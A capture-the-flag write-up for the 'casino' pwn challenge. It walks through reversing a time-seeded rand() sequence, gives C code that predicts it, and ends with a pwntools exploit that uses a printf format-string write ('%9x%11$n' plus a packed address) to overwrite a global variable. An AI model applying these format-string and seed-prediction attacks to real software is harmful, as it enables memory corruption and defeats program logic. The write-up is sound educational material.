# casino (Pwn)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
![alt text](img/1.png "Chall")
This was quite a challenge and with the help of my two friends @happysox and @fredrikhelgessoon we managed to solve the challenge just in time before the CTF ended.
## Static analysis
```bash$ file casino casino: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=22932a2fa861f5770e04551d31ec06920c270c5b, not stripped```
```$ checksec casino[*] '/home/flaw/CTF/events/fireshell/casinoroyale/casino'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
#### Summary:
* 64 bit executable* All protections enabled except pie.
## Play time
```bash$ ./casino What is your name? RichardWelcome RichardM @[1/100] Guess my number: 5Sorry! It was not my number```
Looks like we have to guess 100 numbers in a row to get the flag... Let's begin reversing the binary. 
We quickly find that the binary is using `rand` and `srand`.
The man page states the following for `srand`.
```The srand() function sets its argument as the seed for a new sequence  of       pseudo-random  integers  to  be  returned by rand().  These sequences are       repeatable by calling srand() with the same seed value.```
If we can reverse engineer how the seed is generated we can predict the number sequence. I will use `gdb` for this task mainly.
```bash$ gdb -q casino$ pdisass main```
```asm0x0000000000400a60 <+33>:    mov    edi,0x00x0000000000400a65 <+38>:    call   0x400890 <time@plt>0x0000000000400a6a <+43>:    mov    DWORD PTR [rbp-0x50],eax0x0000000000400a6d <+46>:    mov    eax,DWORD PTR [rbp-0x50]0x0000000000400a70 <+49>:    mov    edx,0xcccccccd0x0000000000400a75 <+54>:    mul    edx0x0000000000400a77 <+56>:    mov    eax,edx0x0000000000400a79 <+58>:    shr    eax,0x30x0000000000400a7c <+61>:    mov    DWORD PTR [rbp-0x50],eax ; store it in rbp-0x50
...```
Psuedo code will look something like this:
```seed = time(0) * 0xcccccccdlower_bits = get the lower bits of seedseed = seed >> 3```
If we look closer to the srand call:
```asm   0x0000000000400ad2 <+147>:   mov    eax,DWORD PTR [rip+0x201548] # x602020 <bet>   0x0000000000400ad8 <+153>:   add    DWORD PTR [rbp-0x50],eax   0x0000000000400adb <+156>:   mov    eax,DWORD PTR [rbp-0x50]   0x0000000000400ade <+159>:   mov    edi,eax   0x0000000000400ae0 <+161>:   call   0x400870 <srand@plt>```
It seems like it fetched something from `0x602020`. 
```asmgdb-peda$ x/wx 0x6020200x602020 <bet>: 0x00000001```
So the value is 1. The final psuedo code looks like this.
```seed = time(0) * 0xcccccccdlower_bits = get the lower bits of seedseed = seed >> 3seed = seed + 1```
## Predicting the "random" number sequence
We now have everything we need to create the same seed and thus generate the number sequence.
```#include <stdio.h>#include <time.h>#include <stdlib.h>#include <unistd.h>
int main(){    int foo= time(0);    int bar = 0xcccccccd;
    //Inline assembly, cuz why not D:::    int upper; //https://stackoverflow.com/questions/42264712/multiplication-instruction-error-in-inline-assembly    __asm__ ("mul %%ebx"         :"=a"(foo), "=d"(upper)         :"a"(foo), "b"(bar)         :"cc"    );      int win = (upper >> 0x3) + 1;    srand(win);     for (int i = 0; i < 100; i++){        int a = rand();        printf("%d\n", a);      }
    return 0;}```
Compile the solve program:
```gcc -o solve solve.c```
We can now use some bash magic to automate the process of entering all numbers.
```bash(echo "AAAAA"; ./solve )```
* First we need to take care of the username. We will first echo "AAAAA" into the program with a newline to simulate the enter keypress. * ./solve. Solve program will type out all numbers.
Combining it all together: ```bash(echo "AAAAA"; ./solve )  | ./casino What is your name? Welcome AAAAA
[1/100] Guess my number: Correct![2/100] Guess my number: Correct![3/100] Guess my number: Correct![4/100] Guess my number: Correct![5/100] Guess my number: Correct![6/100] Guess my number: Correct![7/100] Guess my number: Correct![8/100] Guess my number: Correct![9/100] Guess my number: Correct![10/100] Guess my number: Correct![11/100] Guess my number: Correct![12/100] Guess my number: Correct![13/100] Guess my number: Correct![14/100] Guess my number: Correct![15/100] Guess my number: Correct![16/100] Guess my number: Correct![17/100] Guess my number: Correct![18/100] Guess my number: Correct![19/100] Guess my number: Correct![20/100] Guess my number: Correct![21/100] Guess my number: Correct![22/100] Guess my number: Correct![23/100] Guess my number: Correct![24/100] Guess my number: Correct![25/100] Guess my number: Correct![26/100] Guess my number: Correct![27/100] Guess my number: Correct![28/100] Guess my number: Correct![29/100] Guess my number: Correct![30/100] Guess my number: Correct![31/100] Guess my number: Correct![32/100] Guess my number: Correct![33/100] Guess my number: Correct![34/100] Guess my number: Correct![35/100] Guess my number: Correct![36/100] Guess my number: Correct![37/100] Guess my number: Correct![38/100] Guess my number: Correct![39/100] Guess my number: Correct![40/100] Guess my number: Correct![41/100] Guess my number: Correct![42/100] Guess my number: Correct![43/100] Guess my number: Correct![44/100] Guess my number: Correct![45/100] Guess my number: Correct![46/100] Guess my number: Correct![47/100] Guess my number: Correct![48/100] Guess my number: Correct![49/100] Guess my number: Correct![50/100] Guess my number: Correct![51/100] Guess my number: Correct![52/100] Guess my number: Correct![53/100] Guess my number: Correct![54/100] Guess my number: Correct![55/100] Guess my number: Correct![56/100] Guess my number: Correct![57/100] Guess my number: Correct![58/100] Guess my number: Correct![59/100] Guess my number: Correct![60/100] Guess my number: Correct![61/100] Guess my number: Correct![62/100] Guess my number: Correct![63/100] Guess my number: Correct![64/100] Guess my number: Correct![65/100] Guess my number: Correct![66/100] Guess my number: Correct![67/100] Guess my number: Correct![68/100] Guess my number: Correct![69/100] Guess my number: Correct![70/100] Guess my number: Correct![71/100] Guess my number: Correct![72/100] Guess my number: Correct![73/100] Guess my number: Correct![74/100] Guess my number: Correct![75/100] Guess my number: Correct![76/100] Guess my number: Correct![77/100] Guess my number: Correct![78/100] Guess my number: Correct![79/100] Guess my number: Correct![80/100] Guess my number: Correct![81/100] Guess my number: Correct![82/100] Guess my number: Correct![83/100] Guess my number: Correct![84/100] Guess my number: Correct![85/100] Guess my number: Correct![86/100] Guess my number: Correct![87/100] Guess my number: Correct![88/100] Guess my number: Correct![89/100] Guess my number: Correct![90/100] Guess my number: Correct![91/100] Guess my number: Correct![92/100] Guess my number: Correct![93/100] Guess my number: Correct![94/100] Guess my number: Correct![95/100] Guess my number: Correct![96/100] Guess my number: Correct![97/100] Guess my number: Correct![98/100] Guess my number: Correct![99/100] Guess my number: Correct!```
No flag???????? Ehhh?!?!?!??
Checking the graph view it seems like we fail the second compare.
![alt text](img/2.png "fail compare")
If the second compare were to succeed we would jump to the win function and get the flag.
![alt text](img/3.png "win function")
Looking some more in gdb I found out that the value is initalized as zero.
```asmmov    DWORD PTR [rbp-0x58],0x0```
And then looking at the compare```asm0x0000000000400b5c <+285>:   mov    eax,DWORD PTR [rip+0x2014be]        # 0x602020 <bet>0x0000000000400b62 <+291>:   add    DWORD PTR [rbp-0x58],eax0x0000000000400b65 <+294>:   add    DWORD PTR [rbp-0x54],0x10x0000000000400b69 <+298>:   cmp    DWORD PTR [rbp-0x54],0x630x0000000000400b6d <+302>:   jle    0x400afc <main+189>0x0000000000400b6f <+304>:   cmp    DWORD PTR [rbp-0x58],0x640x0000000000400b73 <+308>:   jle    0x400bd9 <main+410>```
This code is basically incrementing `rbp-0x58` with the `bet` value that we saw earlier.
To sum it up:
* Initalize var58 = 0 (rbp-0x58)* For each correct solve, increment var58 with the value of `bet`.* This value will be 99 when we have entered 100 correct numbers.
So the condition will always fail (99 > 100).
This is where I got stuck and my time ran out. So I sent all the code that I had to my teammate @happysox who found a printf format string vulnerability in the name. 
### Overwriting the global variable betBasically what we want to do is overwrite the `bet` variable.
This means the condition that failed earlier `99 <= 100` will pass if we manage to increase the bet value.
But wait, wasn't full Full Relro enabled? Yes it is, but we can write to global variables, that is allowed.
#### What do we know?
* `bet` located at address `0x602020`* Buffer limited to 16 characters* printf stops at \00* Name located at offset 10 on the stack.
#### What do we want to do?
* Overwrite `bet` with > 1
What is worth noting is that the address `0x602020` is actually `0x000000602020` but we can specify to target the lower bytes by writing to offset 11 instead.
Here we write the value 9 to the address `0x602020`:
```%9x%11$n + p64(0x602020)```
We also need to remember to update the `bet` variable in our seed.
```int win = (upper >> 0x3) + 9;```
#### Getting the flag
```pythonfrom pwn import * 
s = process("./solve") p = process("./casino")
numbers = s.recvall().split("\n")del numbers[-1]del numbers[-1]s.close()
p.sendlineafter("name?", "%9x%11$n" + p64(0x602020))
for i in numbers:    print p.recvuntil("number:")    p.sendline(i)print p.recvall()
p.close()```
![alt text](img/4.png "Chall")
Thanks again to @happysox for exploiting the printf vulnerability and solving the final steps of the challenge!